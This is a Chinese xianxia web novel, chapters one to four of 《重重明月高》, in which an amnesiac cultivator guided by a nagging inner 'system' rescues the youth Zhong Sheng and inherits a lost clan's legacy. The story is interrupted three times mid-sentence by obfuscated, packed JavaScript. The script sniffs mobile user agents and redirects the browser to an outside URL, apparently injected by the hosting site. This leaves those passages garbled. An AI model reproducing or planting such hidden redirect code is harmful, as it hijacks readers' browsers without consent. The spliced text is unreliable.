《重重明月高》 1. 第 1 章 “想活么?” “……你谁?” “想活么?” “……关你屁事!” “好的,明白了,你想活!那么接下来你就要听我的!” 正和十年二春,天下太平,八年一届的仙门弟子选拔又开始了,作为就在太清宗山脚下的城市,飞仙城照例挤满了怀揣着美好希望前来凑数的散修和凡人。珠光宝气和衣衫褴褛在同一条街上平等地擦肩而过,谁也没空再嫌弃谁。 照常坐在小摊上喝酒的严文洲眯着眼睛支着头,被大好的太阳晒得昏昏欲睡,但眼角余光里店小二的表情可不算太好,要是真的一歪头睡着了,估计下一秒他就得过来赶人了。 “本店一楼吃饭喝酒,客官您要睡觉,往楼上走!” 稍稍一想,尖利刻薄的声音就好像已经在耳边响了起来。 哎,难听,太难听了。 严文洲打了个哈欠,换了另一边手支着头,蒙了层水汽的眼珠子继续缓慢地在人群里转悠——他在找人。 一个叫钟慎的人,据说是一副风吹就倒,发育不良的少年样,按理说是很好认的,但这个破地儿人实在太多了,一连在这条连着入城口的必经之路上坐了五天,他也没发现有这么一个人。 “统兄,他真的还没来?该不是已经错过了吧?” “别叫我统兄!”脑袋里的声音骤然暴躁起来,“都说了多少次了,还没来!他还没来!他就是还没来!” “好的,打搅了,系兄。” “……你就不能叫我系统么!?” “哎,连名带姓的,这样不太文雅。” “……” 严文洲愉快地勾起了唇角,不再说话。 毫无疑问,他是故意的——这日子太无聊了,总得给自己找点乐子吧,逗弄一下别人可不算过分。 他先前花了点时间才弄清楚自己现在是个什么状况。 首先是脑子里那个玩意儿,自称是什么“优秀青年人才扶持计划之001号共同成长系统”,简称系统,很吵,不清楚是不是像他自己吹得那般有用,但可以确定,这位系统兄没事儿的时候可以用来解闷。 其次是任务,或者说是系统兄单方面的通知,据说完成之后可以得到大量奖励。 至于真不真,严文洲目前持保留态度,不过就先前的试探结果来看,似乎有些可信度——起码现在经脉里还有点灵力,不似刚从河边醒来时那般空空如也。 “小二,再来一盘瓜子儿,”严文洲举起手招呼了一下,没等小二发问便继续道,“最便宜的那种。” 看着店小二拉得比丝瓜还长的脸,他变态而舒畅地叹了口气——嗯,钱袋子也充实了不少。 果然,为民除害才是最好的生财之道。 再次感谢了一番路上那位企图打劫的修士,严文洲再度兢兢业业地找起了人。 这一次的内容就是给那个叫钟慎的少年保驾护航,让他成功拜入仙门。 “兄台,你找人?” 严文洲扭头看了眼,一身白中泛青的窄袖衣裳,腰间挂着几个破烂,看起来像是个落魄得已经跌到贫困线以下的散修。 见他没回应,来人有些急了,有意将袖口往严文洲眼皮子底下凑了凑。 严文洲眯着眼,终于在那圈即将散架的衣料上找到了一个被磨损得几乎看不见的青色柳叶。 哦,细雨门的人,传闻中有雨之地即可传讯的情报贩子,这是来招揽生意了。 他一下觉得自己之前路走窄了——找人这么麻烦的事情,何必要自己来呢?“来,兄台请坐,在下姓严。”严文洲一下露出一个温和的笑,指了指对面的空座,又倒了杯热茶放过去。 来人屁颠颠地坐了下去,“多谢道兄,唤我伍八即可。你可是在寻人?” 严文洲含笑点了点头。 伍八大喜,“道兄相比也知道细雨门的特殊吧,正所谓一谷两门揽尽天下事,如天心道派或者无极谷那般神秘,寻过去也是一桩麻烦事,更何况还要价甚巨,动不动就要掏空一个储物袋才能将委托挂上榜,就不是咱们这种普通修士能去的起的地方。而且,像寻人这种事,我们细雨门是最在行的了……” 这位伍八道友显然有着一张相当了得的嘴,一说起来就停不下来,嘴皮子又快又利索。严文洲暗自为他将来想了个出路——改行去当说书先生。 与此同时,脑子里的系统慢了几拍终于发现了他打算做什么,一下尖叫起来,“啊啊啊啊,你这是作弊!怎么可以这么做!?” 严文洲微不可见地皱了皱眉,慢悠悠地以心音回应道:“系兄多虑了,不过是为了以防万一而已,若是那位钟慎出了些你我皆鞭长莫及的变故,有细雨门托底,也好及时出手相助啊。” 系统似乎动摇了一下,没立刻回应。 伍八也发表完了长篇大论,来了一句:“严兄以为如何?” 严文洲含笑道:“甚好。” 系统:“不好!” “如何不好?” “……就是不好!” 严文洲轻笑一声,将脑子里系统暴躁不满的声音当作背景,对伍八开口道:“此人叫钟慎,是南洲安原郡人士,家里做药材生意,唔,似乎在当地还有点名气……” 话没说完,街角便传来一阵喧哗,接着便是东西翻倒的丁零当啷和隐隐约约的怒吼,听起来相当热闹,没几秒,热闹本身就窜到了街心。 严文洲心里一动,停下话头看过去。 方才还人挤人的长街已经空了一大片地出来,对峙双方一是名看上去风吹就倒的灰衣少年,另外一方就人多了,四个侍卫模样的人簇拥着一个华服少年。 严文洲啧了一声,单论人数,那灰衣少年都赢不了啊,更何况,修为还比别人差一截。 不过那少年…… 果然,系统的声音又响了起来:“任务目标已出现!嘀——新增任务:从恶少爷的手中救下钟慎!成功则解锁一层修为!” 按照惯例,严文洲问了一句:“失败呢?” “有可能会影响钟慎拜入仙门的任务,导致后续任务无法顺利完成哦!” 说话的功夫,华服少年已经昂着脑袋开始了羞辱:“……不过是一个引气入体都花了三年的废物,还指望被选入上仙门?下辈子,啊不对,下下辈子吧!” 严文洲听漏了半截,自觉不过瘾,便扭头向伍八送去了个疑惑的眼神。 作为细雨门的精英弟子,伍八立刻心领神会,指了指华服少年小声道:“那个是家中嫡子,大抵资质不错,从安原郡过来参选太清宗的,另外那个是他堂弟,据说是自己偷偷跟过来的。” 末了还添了一句:“哎,这种事情常见得很,毕竟八年就一次么,下次年龄就大了,谁不想来碰碰运气!不过看形容,他倒是和道兄寻的那人有些相似,道兄可认得么?” “不认得,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037409|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他确实是我要找的人,”严文洲转头分了半碟瓜子给伍八,笑呵呵道,“伍兄还真是有气运,不愧是细雨门弟子,刚一来,我就找到人了,在下佩服。” 伍八无话可说,干笑了两声,低头抱着瓜子溜到了墙角。 片刻功夫,灰衣少年已经被他堂哥说得两眼泪汪汪,门板似的身材抖得像秋风中的落叶,似乎下一刻就要拼个你死我活。 系统又催了起来,严文洲十分无奈,“那位少年该有练气六层的修为,又有护卫保护,我不过是练气五层,如何能敌得过,系兄莫非是要我送死?” 系统卡了一下,“那、那不是因为你一路上就做了一个任务么!你要是听我的,现在起码是练气大圆满了!” 心音里飘出一声长长的叹息,严文洲这人大概是天生修有情道的好苗子,就连寻常人使出来一板一眼的心音都能用得绘声绘色,就像是亲眼看着这人在面前支着头念叨一样。 “给医修找灵草、为剑修寻古籍、替器修借离火……唔,每一个都得费不少时间,万一有什么变故在路上耽搁了呢?我这也是为了钟慎兄的安全着想啊。” 宿主一口一个为钟慎着想,听上去实在是再贴心不过了,但系统怎么都觉得,这人不过是怕麻烦! 高傲地哼了一声,系统不客气地说道:“那你现在怎么不为他的安全着想!?钟慎都快被人踩到地上去了!快点!这就是你挺身而出的最好时机!” 严文洲眨了眨眼,扭头看过去。果然,瘦弱得跟豆芽菜一样的少年已经跌坐到了地上,锦衣少年的靴底眼看着就要踹到他胸口。 这一脚下去,就算是留了半条命,将来不得留下什么糟心的后遗症么。 严文洲怜悯地叹了一声,随手拿起茶盏掷了过去。 咚—— 锦衣少年狼狈地滚到地上,抱着腿哀嚎起来,“啊啊啊,护卫护卫!我的腿!我的腿!” 为首的侍卫猛然一惊,警惕地看向严文洲。方才那东西来得太快,他根本没时间反应,现在一看,居然只是一只普普通通的茶盏!少爷怎么说也有练气八层的修为,再虚浮也不会轻易被一只茶盏砸成这样! 此人的实力不可小觑! 准头不错。严文洲对投来的目光视若无睹,对自己点了点头,且十分自信——我果然是个好人。 “是哪个不长眼的坏了小爷好事!”在侍卫的搀扶下,锦衣少年已经站了起来,恶狠狠地瞪着严文洲,脸涨得通红。 肖似猪头肉。严文洲不忍污染自己的眼睛,勉强看了一眼就立刻扭头,语重心长地劝道:“少年,做人留一线,万一你弟弟将来发达了呢,你对他好一点,将来说不定还能分口肉汤,你现在这么对他,当心你将来被千刀万剐哦。” 越听,华服少年的脸便愈发紫胀,“什么弟弟!他分明是个来路不明的野种!这样的人连我钟家的门都不配进,我就该断了他进仙门的念头,也好过……啊!” 话没说完,惨叫声又响了起来。 侍卫长低头一看,差点绷不住笑了——一把瓜子嵌在少爷金贵的大腿上,点点鲜红正缓缓渗出。 严文洲皮笑肉不笑,“不好意思,手滑。” 此举简直是把钟家的脸面往地上踩,华服少年不知是气得还是痛的,浑身发抖,立刻就要侍卫拿下某个不知好歹的散修。 侍卫长犹豫了瞬间,正打算出手试探一番,却听到一声震耳欲聋的大喝:“何人喧哗!” 2. 第 2 章 飞仙城历来都是南洲选仙的一大城,此类事件层出不穷,守卫们早已有了经验,一看场上情形便知是个什么情况,三下五除二便将闹事的华服少年连带着侍卫押走了。很快,看热闹的闲人们便都散去,街心只剩下钟慎一个人。 严文洲收回视线,自顾自地倒了杯冷茶,开始催促起系统来:“任务完成了哦,系兄,奖励什么时候到账呢?” 系统简直要被这人的无耻气死了,“我、我原本……这大好的和钟慎增进感情的机会,就被你给直接浪费了!奖励减半!” 严文洲脸上的笑意顿时淡了几分,映在杯底的眸子里显出些危险来。 原本?原本什么呢? 跌跌撞撞走过来的钟慎下意识地停住了脚步,只觉得方才还十分和善的好人陡然多了几分诡谲莫测,像是林子里噬人的猛兽。 好在,那只是一瞬间,下一瞬,这人便恢复了常态,笑吟吟的,像是个文雅的读书人。 可心中升起的热度到底是冷了几分,钟慎迟疑地重新打量了一下这人——剑眉星目,面冠如玉,即便是坐在街边酒肆中,也掩盖不了他一身的风流潇洒,便是读书人,也绝不是什么文弱君子。 单论相貌,此人绝对是钟慎此生为止见过的最好看的人之一了。可不知怎么的,钟慎心里却生了些踌躇。 “系兄,怎么说我们也是合作关系,既然先前已经说好,完成的时候就不好再改了吧,要不然,下次我还怎么相信你呢?再说了,你先前发布任务的时候,可是只要求了结果,并没有对过程有什么要求。要是你早说需要和那小子培养感情的话,我一定会换一种方式出手的。” 严文洲没理会钟慎的目光,只慢条斯理、有理有据地送着心音,一个字儿都不带模糊的,系统听得一清二楚,渐渐从这股不紧不慢的调子里听出一股威胁来。 堂堂系统,怎么能这么没有威信呢?! 可回忆了一下此人之前的“丰功伟绩”,系统还是果断认怂了。虽然如此,它还是硬撑出了一副高傲的语调,勉强同意道:“那好吧,下不为例。” 声音一落,严文洲便感觉到周身几大关窍松了几分,经脉里的灵气又充盈了几分。 战战兢兢在一边等候了许久的钟慎惊呆了,几乎不能相信自己的感觉——恩人这是,又突破了一层么?! 怎么、怎么有人在大街上也能突破!果然,自己的资质确实很差。 钟慎心中又苦涩了几分。 好在,他没时间沉浸太久,察觉到严文洲的视线落在了他身上以后,他眼眶一红,噗通跪了下去:“恩人,多谢!” 一时间,一人一统都愣了,就连来赶人的店小二都傻在了半路上,险些撞到了离开的茶客。 严文洲自觉见多识广,却也好一会儿才回过神来。忽略掉脑子里系统开水壶般的尖叫,他饶有兴味地盯着钟慎。 少年人的身板十分单薄,脊背似乎一折就断,就连头发都透着一股营养不良的褐黄,完全没有修炼者该有的元气,唯有一股隐约的药香暗示着此人不是个普通凡人。 严文洲伸出一只手,慢悠悠地把人拎了起来,温声道:“道谢就道谢,怎么还跪上了,刚才那小畜生把你腿打坏了?” 钟慎面皮一红,讷讷摇头,“没、没有,我、我将来一定会报答恩人的!” 严文洲莞尔一笑,招手叫来小二要了壶热茶并几只热包子。 练气期还远不到能随意辟谷的阶段,钟慎一路风餐露宿,吃了上顿没下顿,已然饿了许久,见了瓜子都恨不得能连壳带肉吞下肚,更何况严文洲点的还是掺了些灵兽肉的热包子,香气一飘,钟慎的眼珠子都快粘在包子上了。 可这人显然比他堂哥要识相许多,看了没几秒便强迫性地移开了视线,一直到严文洲有些恶劣地拿起一只包子在他眼前晃了晃,“小子,不吃么?我可是给你点的。” 钟慎的反应比严文洲想象得要快很多,似乎脑子还没反应过来,嘴就已经吃上了,眼睛一眨,他就已经如风卷残云地吃完了一个包子。 这小子,该不会在钟家也吃不饱吧。严文洲怜悯地给他递了杯热茶,深深觉得钟家目光短浅——吃饭又花不了几个钱,要是就为了这么点小东西,断送了这小子的旧情,那可真是太蠢了。 隔着腾腾热气,他支着头,随口问道:“你是炼丹师?” “唔,嗯,是、是的,”钟慎就着茶水咽下一口包子,拼命点头,眼睛终于闪耀出一种年轻人的光彩来,“恩人,你有需要的丹药丸散么,也许我可以炼,不过我会的还不多。” 说到最后一句,他的声音又低了下去,很不好意思。 严文洲估计他又快说出什么将来报答了,便摆摆手说道:“没什么,问问而已。也莫叫恩人了,只是举手之劳而已,在下严文洲,不知道友如何称呼?” 钟慎自报了姓名,又感激涕零地叫了一声“严兄”,方才继续勤勤恳恳地消灭着包子。 顿了一会儿,见包子少了大半,新鲜出炉的严兄又摆出一副困惑的模样,“炼丹师向来少见,飞仙城这次选仙里也并没有药王谷等丹修门派,钟道友此番前来莫非是想改换门庭?” 钟慎一脸严肃地放下包子,“并非如此。听闻药峰此次有意选徒,我此番前来是想拜入太清宗玉阙峰主门下。” 边上不知有哪位适时地发出了一声嗤笑。 严文洲神情微滞,没想到这小子的志向居然这么远大。太清宗玉阙峰主周静,当世三大炼丹师之一,寻常修士要想见他一面都难如登天,更何况是做弟子了。 不过……他眉间微蹙,抬手拍了拍自己的脑袋,发现想起来的东西还是这些,便安了心——最近脑袋还是很好使的。 瞥见钟慎惊讶又担心的眼神,严文洲慢悠悠道:“不好意思,为兄脑子受过伤,有些记不得事,不碍事。” “啊,头颅可是三魂六魄所在,受伤可不是小事,万一伤了根基呢!严兄有寻医修看过么?” “欸,实在是囊中羞涩啊。” “这……严兄放心,等我拜入玉阙峰,一定学得本领为严兄诊看一二!” “那就拜托了!” 邻桌的修士听着这一个痴子一个傻子的对话,终于忍不住了,扭过头来吹起了凉风:“我说你们两个来飞仙城是来做梦的吧?周尊者那是一般人么!就连她那稍逊一筹的师弟,最近五十年连一个记名弟子都没收,我看呐,你能去玉阙峰当个洒扫仆役就是烧高香了!” 说罢,就冲两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三个时辰后,严文洲从城南逛到了城北,兜里多了三枚中品灵石、一个进攻性阵盘、一块中品青林石以及若干特价极品回灵丹,系统已经累得一个字也不想跟他说了。 强盗!流氓!无耻小人!这人怎么能顶着一张光风霁月的脸,做出奴役系统这么丧尽天良的事!这一路上自己什么都没干,尽给他干活儿了!这一刻,系统万分愤恨自己没有惩罚机制! 严文洲很满意于系统的安静,正准备转身朝城东走去,享受一番那里专供修者的歌台酒肆,眼角余光中便瞥见了一个熟悉的身影。 想了想,他倒转过去,望见了蜷缩在阴暗街角里的灰衣少年,不由怀疑起了自己的眼睛。 旁边的那群,都是乞丐吧? 这人,怎么能这么穷呢? 严文洲叹了口气,决定还是做个好人,走过去停在了钟慎面前,“钟兄,在这地方摆摊可卖不出什么东西。” 钟慎一个激灵立刻站起身,眼皮子仓促地抬了一下便低了头不敢看他,声如蚊呐,“……实在是,囊中羞涩。” 严文洲却很久没有应答。心海里,系统略带嘶哑的暴呵在层层回荡:“别!别过去——” 3. 第 3 章 “为何不能?” “……不能就是不能,总之就是不能!” “这话可没理。” “天下没理的事情多了去了,多这一件不多!” “唔,确实,此话有理。可我已经做了,难道再让他继续呆在这里乞丐窝里?” “……也不是不行。” “那我再把他按下去,自己走人?系兄,这恐怕于情不通吧?” “……于情不通,于理很合!” “哦,可是系兄不是方才还要我好好待钟慎,将他如儿子一般疼爱的么?哪家父亲会将儿子扔在这种地方?” “严兄?严兄?严兄你还好么?”钟慎十分担心地看着严文洲,自不久前他将自己认了出来,便一直呆立着,如中邪了一般。 严文洲按了按太阳穴,挂出了招牌微笑,“无妨,不过是有些头疼。” 钟慎大惊,以严兄这么厉害的人都呆滞了好一会儿,这该是怎样的头疼!放在平时还好,若要使在争斗中发作,那岂不是…… “那现在如何?不如严兄你先请位医修诊治一番,我记得飞仙城内的杏堂常年有玉阙峰弟子坐诊,要是诊金有缺,我、我说不定还能凑一凑!唉只可惜我学艺不精……” 心海中,系统气势汹汹地丢下一句“那你自己看着办”,便哑了火。严文洲不意外,要是再继续,恐怕这位统兄明日就要变成哑兄了。 不过说起来,统兄这种分魂居然还会哑了嗓子倒也甚至稀奇,不知可否还会有什么别的想法?他等了会儿,不出意料之外地没得到任何回应,便送了一道温柔中带着些歉意的心音过去:“系统兄,那便好生休息吧,钟慎这边自有我来处理。” 系统:真是一张惯会骗人的嘴! 可……呜呜呜,好像真的被骗到了呢。 在系统还在咬着小手绢纠结的时候,严文洲已经安抚性地朝钟慎摆了摆手,安慰道:“无妨,不过是旧疾而已,医修先前说兴许到了筑基期就自动痊愈了。” 钟慎仍有些不放心,“要不然还是找杏堂的医修瞧一瞧,万一玉阙峰弟子有什么其他法子呢?毕竟要到筑基期,时日和机缘缺一不可。” 看着钟慎这副比担心自己还要担心他的模样,严文洲不由怔愣了一瞬,另一双眼在眼前一闪而逝,面容渐次清晰,可记忆又像是被什么强行切断,回想过去,只剩空茫。 似乎、似乎从前也有过这么一个人在他面前,满眼都是他的模样…… 然后呢? 头真的疼了起来,简直像是骗人的报应。严文洲深深吸了口气,抓住了钟慎肩膀,“还是算了,大抵是这些日子太累了,休息片刻便好。” “……那、那我送严兄回去吧。” 将钟慎送进了隔壁厢房,严文洲叫了夜宵,便悠哉游哉地回了自己房间。得了地势之利,飞仙城的客房简直是三年不开张,开张吃三年,价格贵得令人咋舌。不过是一间毫无聚灵法阵的下等厢房便要3枚下品灵石,灵气稍微充足一点的中等厢房便要10枚下品灵石,更是一房难求,早些时日便定完了。他多花了点钱才给钟慎弄到一间房,免得他再度流落街头。 严文洲相信钟慎的囊中羞涩不是假的,可为什么系统会阻止呢?按照系统这德行,它简直是把钟慎看作了掌上明珠,不应该是希望他过得好的么? 除非,在那群乞丐里确实会让他过得“好”。 而更古怪的是,严文洲一路上试探,系统却几乎没怎么再发布和其他人相关的任务,就像是…… 就像是寻到钟慎之后,任务才正式开始了一般。 “是吧,统兄。”想了想,他送了一道心音出去,好整以暇地等着。 系统一板一眼的声音隔了许久才响起,仍旧有些嘶哑,不过好多了,“当前系统仍处于初级阶段,更多功能尚未解锁,请继续努力。” “统兄这分魂居然还有魂锁?”严文洲眨了眨眼,心音显得十分惊异,“想来统兄的本体定是一方大能,看来我得好好努力了。” 系统不置可否,只道:“更多功能将在筑基期开放,敬请期待。” “比如说?” “……我也不知道。” 夜半时分,严文洲从入定中缓缓醒来,长长吐出一口浊气,身体十分轻盈。毫无疑问,他从前的修为应该十分了得,经脉宽阔,各大关窍也不是寻常练气期修士那般的闭塞状态,不过如今…… 月色清亮,如水般泄了一地,不是个做坏事的时候。他忽地一笑,从窗口翻了出去,朝城北疾驰而去。 飞仙城没有宵禁,此时的长街上仍有许多修士,更多了些醉鬼,如严文洲这般飞檐走壁的,虽然不多,却也绝不稀奇,便是有人注意到了,也不过抬头看一眼,便照常离开了。 一炷香后,严文洲到了白日里偶遇钟慎的地方,三五成群的乞丐们几乎已经完全散去,只剩下一个躺在草席上的老乞丐。 瘦骨嶙峋,气息微弱,周身弥漫着一股衰朽的气息。 只一眼,严文洲便知道,这老乞丐挺不过今夜了。 他神情莫测地盯着看了半晌,忽地俯身揭开老乞丐已经破烂成布条的衣襟。经年的风吹日晒与困顿在他身躯上留下了无数痕迹,而年老又让那些痕迹皱缩成难以辨认的点与线,可在那些深深浅浅的伤疤中,严文洲还是认出了一个标记。 折线、圆弧,一层又一层,像是海水纹,又像是云纹。 “百川江家后人。”严文洲淡淡道。 本已快闭上眼的老乞丐忽然颤抖起来,甚至回光返照般地坐起身,浑浊的眼睛瞪大,试图辨认着面前这位衣袍整洁的修士。 百川江家,三百年前盛极一时的东洲世家,传闻祖上乃中洲大妖,习俗便也与东洲不同,子嗣成年时皆会以妖兽灵血纹上家族徽标,以区分家族内外。江家后代有灵根者十有四五,每隔几代就会出一个惊才绝艳的人物。 可这么一个似乎会香火永续的世家,却在三百年前满门遭屠,东洲后来便再无江家姓名了。 严文洲有了一丝微妙的悲伤,不知从何而来,亦不知归于何处,只是觉得自己来得太晚了——便是有千金难求的延寿丹,这人也救不了了。 此时此刻,追问他如何沦落到如此地步已经毫无意义,重整了心情,他温声问道:“你可想好了要葬在何处?” 老乞丐没回答,只眼珠子也不错地盯着他看,严文洲耐着性子由着他看,一边说道:“要是你没想要,那我便擅自给你决定了。你既是百川江家的后人,那不如就水葬?唔,若是想回到家族故地,也可,只是恐怕要等一段时间了,待我此间事了,定然带你回去……” 还没等他列完全部选项,老乞丐便不知从哪里摸出一把生锈的小刀,就要往自己胸膛上扎。 严文洲眼疾手快地拦住了他,大惊失色,“欸老人家,你要是不喜欢我,我这就走,何必如此大动干戈?” 小刀哐啷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037411|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声落到地上,满是棕红锈迹的刀身映不出半分月光,严文洲觉得自讨没趣,神色不由淡了几分。 老乞丐却硬抓着他的手没让他走。 一抬头,严文洲对上了一双满是悲伤的眼睛,干瘦如枯叶般的身躯再也挤不出半滴眼泪,只有水般的月色映在他脸上,像是照出了满脸的泪。 严文洲一愣神,只听老乞丐颤抖着声音说了第一句话:“垂云汀再无江家,江家再无后人。” 声音破碎而含糊,似乎被风霜磋磨掉了轮廓一般,稍不注意便会消失在不远处长街的喧嚣中。 下一刻,他被老乞丐引着,按到了胸膛上的百川纹路上。 心中一动,他稍稍用了点灵力谨慎而缓慢地探入皮下。 果然,有东西。 还是在这个地方……严文洲摇了摇头,“在下无缘。” “怎是无缘!?”老乞丐陡然怒目,胸膛起伏得跟破风箱一样,“你若是不接,我死不瞑目!” 严文洲没想到他反应如此之大,心中觉得有些古怪,但看着老乞丐一副随时要过去的模样,他只好道:“那便说好了,我先接了你这道统,但若是将来有更合适的人,我便替你将这道统传给他,可好?” 老乞丐勉强点了点头,神情稍稍缓和。 到底是从血肉中取东西,严文洲本打算等到他散了最后一口气再动手,但老乞丐又拉着他的手往纹路上按,言明要他立刻动手。无奈之下,严文洲只得取了柄雪亮小刀来,快速取出了其中的东西,又捏散了一颗回灵丹敷在伤口上,好减缓痛苦。 老乞丐已然油尽灯枯,剖开血肉时连血都没流几滴,此刻像是一点没感受疼,抬头看了好一会儿月亮后,连眼神都明亮了起来。 他忽地扭头说道:“城外三里,大柳树下。” 严文洲反应了一会儿,意识到他在说身后之所,正想点头,他却又开口,“不,还是海西城好,你将来回东洲时将我葬在云海崖之下吧。” 回东洲? 回什么东洲?他自己都不知道要回东洲! 严文洲神情一滞,心陡然乱跳起来,先前的一切古怪一下有了结果——这人知道他自己是谁! 急急忙忙回头看时,老乞丐的头已然无力地歪了下去。 神态安详,嘴角含笑,善终也。 严文洲愣了一会儿,从纳戒里翻了块布出来将老乞丐一裹,连人带布一起放回了纳戒里,打算明天再去找家棺材铺买棺材,自己心不在焉地晃回了客栈。 一直到点灯时差点被烛火烧了手,他才回过神来,从纳戒里捏出一枚珠子,细细研究起老乞丐给他的道统来。 烛火下,老乞丐藏在血肉里的传承珠呈现出半透明的质感,像是最上乘的琉璃珠,珠中隐隐有水波荡开,只一会儿,周围便飘出了些许淡薄云气。 都是精纯的灵气。 难怪百川江家已经三百年前灭门,那老者却在血肉里藏了异物的情况下,还能活这么久。严文洲探脉时便发现,那人经脉宽阔,显然是曾经修炼过却因故没了修为,想来定是要保存这道统才废了修为。 道统是世家大族乃至门派的根基,大多不是单单一门功法,而是一两门主要心法另加林林总总许多功法,像这种一股脑儿给了别人的,绝大部分是事主身死道消得突然,身边没有太多人可以挑选。 严文洲眸光一闪,送出一道平缓的心音:“统兄,这就是你阻止我带走钟慎的原因?” 4. 第 4 章 系统装死,不回答。 严文洲冷笑一声,慢悠悠地转着珠子,“统兄,眼下百川江家道统可是在我这里,你纵然能发布个任务让我将道统传给钟慎,如何能断定钟慎一定能获得道统的认可?难不成,他虽出身钟家,母家确和江家有什么斩不断理还乱的联系?” 心海里空荡荡的,仿佛那个聒噪非常的系统一下消失了一样,但严文洲仍然能感知到那缕分魂的存在。 呵,无非是不想回答罢了。 但不回答也是种应答。 再者,系统蹦不出半个字,钟慎那傻小子话还不多么?他就不信自己还套不出钟慎的话来! 严文洲拿定了主意,神识径直探进了传承珠里。 轰——神魂被整个儿拉进了传承珠内,遮天海潮滚滚而来,兜头给神魂浇了一大瓢冷水,严文洲一个激灵,情不自禁从海潮里顺了点灵气过来,只觉如沐冷泉,浑身舒爽。 当真是提神醒脑,滋补佳品。 “尔等何人!?”一个威严的声音当空喝道,荡出层层回音。 道统里有先人残魂并不稀奇,毕竟道统也不能是什么歪瓜裂枣都要的,更有些要求严格的,还会要求道统继承人必须拥有什么特殊体质又或是什么特殊命格,十万里挑一都是少的,为此沉积千年无人传承的,也不在少数。 可现下,严文洲莫名地很有自信——自己绝不会被筛选出去。 “在下严文洲,一介散修,”他朗声回道,“偶遇江家后人,得入此秘境。” 残魂沉默了许久,神魂上闪过一阵微妙的刺痛,严文洲心知这是残魂在打量他,看他是否符合标准。 “既已有师承,缘何来此!?”残魂似乎发现了什么,陡然大怒,仿佛连神魂都能冻住的阴寒朝严文洲席卷而来。 严文洲一愣,倒没觉得多冷。自醒来后,他便仿佛无师自通一般地修炼着,虽然笃定自己曾经是个大修士,可到底还是没弄明白自己的师承,日子一久,这茬也就这么忘了。如今这残魂一提,他方才想起来这事。 没等他解释,海潮却又是一停,残魂惊疑不定地来了一句:“咦,你这神魂怎么……” 神魂很强大,与修为一点也不匹配。严文洲心知肚明,神魂上又闪过一阵刺痛,比方才难受得多,像是整个人被剖开检视了一遍似的。 一时间,他脑子一片空白,什么话都忘了说。 可这时间,未免也太长了。 接天海潮早已平息,脚下只有轻微起伏着的海面,闪耀着青金石般的色泽。严文洲终于回过神,疑心外界天都快亮了。 他试探性地来了一句:“前辈,小子尚还未踏入筑基,神魂长时间离体,恐怕有些不妥。” 残魂冷漠道:“又不是什么正经小弟子,装什么?” 严文洲哽了一下,有些委屈,“在下脑子不好,前尘往事忘了个一干二净,此刻也没比正经小弟子多知道些什么,前辈怎得如此刻薄?” “……哼,胆子不是没丢了么?”残魂说得不客气,忽地又长叹了一声,“没想到千年过去了,世间居然还有会镇命法的人,也是难得。” 严文洲听他语气不对,刚想打断多问些什么镇命法的事,便听他不管不顾地快速说道:“看你也修过垂云剑,想来也确实是有缘人,就都送给你吧。” 话音没落,海潮便以压死人的架势朝神魂扑过来,各类功法裹挟着灵气如醍醐灌顶般注入—— 《云生海潮心诀》 《云生海潮心诀别册》 《射星法》 《垂云剑诀》 …… 严文洲沉浸其中,不知时日,天光明灭了两轮,他方醒过来。蜡烛早已烧尽,留下了一滩扭曲的蜡油。自己约莫是在桌子上趴了许久,手臂连带着整个人都发麻得紧,好在运转了几轮灵气后,便好多了。 经脉里的灵气又丰厚了许多,终于连成了一丝潺潺径流,不像是落在干涸河床里只能稍湿润河泥的雨水了。练气大圆满,而且…… 严文洲能感受到,自己离筑基只剩下一层窗户纸的距离,而这层窗户纸,伸手即可打破。话句话说,即便是现在筑基,也不是不行。 不过么,筑基这种大事怎么说也要找个山清水秀的聚灵之地,自然不能在眼下这种简陋的环境里。 心海里,系统已经尖叫了许久,“宿主,你、你怎么涨到练气大圆满了!?你拿了江家的传承!?不是为什么呀!?啊啊啊,等等,先别筑基!宿主!你听见了没有!?回答我!别筑基,算我求你了!呜呜呜……” 严文洲幽幽叹了口气,觉得这系统实在烦人得很,怎么就不能和那位话太少的江家前辈平衡一下呢? 不过有了这么一遭,他确定了一件事——系统无法跟随他进入传承秘境,对那番对话也一无所知。 “统兄,别着急,我还没打算筑基呢,你这么着急求我,可是折煞我了。”他悠悠送了一道心音过去。 “……好吧,”系统顿了顿,难得透了底,“你筑基前还有任务,过早筑基的话就完成不了了。” 严文洲微妙地弯了弯嘴角,系统那些狗屁任务他老早就翘了不少,不过少得些微不足道的好处罢了,也就是系统才这么一本正经的。 虽然这么想着,他却只是送出了一道听起来十分好奇的心音:“哦?很重要么?” “……重要。” “不如,现在就发布?” “再等等。” 严文洲不再执着,转而问道:“统兄,你可听说过镇命法?” “什么法?” 严文洲听着系统的声音不似作伪,便一字一顿地重复了一遍,有些期待地等待着系统的回答。 “……没听过,”等了半晌,系统才有些不好意思地回道,“不过等我全部功能激活之后,也许能帮你找到相应的消息。” 